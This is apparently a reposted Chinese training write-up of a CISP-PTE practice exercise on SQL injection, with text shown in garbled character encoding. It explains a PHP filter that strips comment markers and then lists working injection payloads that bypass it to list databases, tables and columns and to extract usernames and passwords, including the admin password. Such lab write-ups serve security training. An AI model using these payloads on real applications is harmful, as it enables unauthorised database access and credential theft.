本文僅當(dāng)作練習(xí)記錄使用。
開始答題:
注冊賬號 poi ,在發(fā)表出給出過濾代碼如下;
// 代碼過濾規(guī)則 while (strstr($sql,'--')) { $sql = str_replace("--", "", $sql); } while (strstr($sql,'#')) { $sql = str_replace("#", "", $sql); }
函數(shù)的作用:
strstr(str1,str2)
函數(shù)用于判斷字符串str2是否是str1的子串。如果是,則該函數(shù)返回 str1字符串從 str2第一次出現(xiàn)的位置開始到 str1結(jié)尾的字符串;否則,返回NULL。舉例:
<?php
echo strstr("123456","5");?>
意思就是只返回 "123456" 中出現(xiàn)的第一個 "5" 直到結(jié)束(顯示結(jié)果結(jié)果為 56)str_replace("--", "", $sql);
意思是將--$sql中的全部替換為 空
str_replace()函數(shù)
str_replace(find,replace,string);find?????? 必需。規(guī)定要查找的值。
replace 必需。規(guī)定替換 find 中的值的值。
string??? 必需。規(guī)定被搜索的字符串。
<?php
echo str_replace("1","2","11111");
?>
意思就是將111111中的1全部替換為2(顯示結(jié)果為22222)
知道函數(shù)的作用之后嘗試進行繞過,可利用在線運行PHP攻擊進行嘗試?yán)@過。
系統(tǒng)沒有過濾空格等特殊符號
獲取當(dāng)前數(shù)據(jù)庫:
database',(select database()),'poi') #-#---
?獲取2web數(shù)據(jù)庫中的所有表:
22',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'poi')#-#---
?獲取表中的字段:
column_name',(select group_concat(column_name) from information_schema.columns where? table_name='users1'),'poi')#-#---
?獲取字段 password,username 中的值:
22',(select group_concat(username,'_',password) from users1),'poi')#-#---
想直接獲取所有的 password,username 的值但是沒有成功---可能由于查詢長度過長做了限制。
知道了表明為users1,字段名為password,username;直接select * from 進行查詢。
22',(select password from users1 where username='admin'),'poi')#-#---
知識點補充:
information_schema 庫存儲了其他數(shù)據(jù)庫中的所有信息
tables表????????? 保存了所有的數(shù)據(jù)庫的名稱和數(shù)據(jù)庫表的名稱等
schemata表??? 保存了所有的數(shù)據(jù)庫的名稱和數(shù)據(jù)庫的編碼信息等
columns表????? 保存了mysql數(shù)據(jù)庫中所有表的信息如:數(shù)據(jù)庫名稱、字段名稱、字段類型等
schema_name??? 庫名信息
table_name???????? 表名信息
column_name???? 字段信息文章來源:http://www.zghlxwxcb.cn/news/detail-666568.htmlgroup_concat() ?? 拼接顯示?文章來源地址http://www.zghlxwxcb.cn/news/detail-666568.html
到了這里,關(guān)于CISP-PTE練習(xí)篇(基礎(chǔ)題目一:SQL注入)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!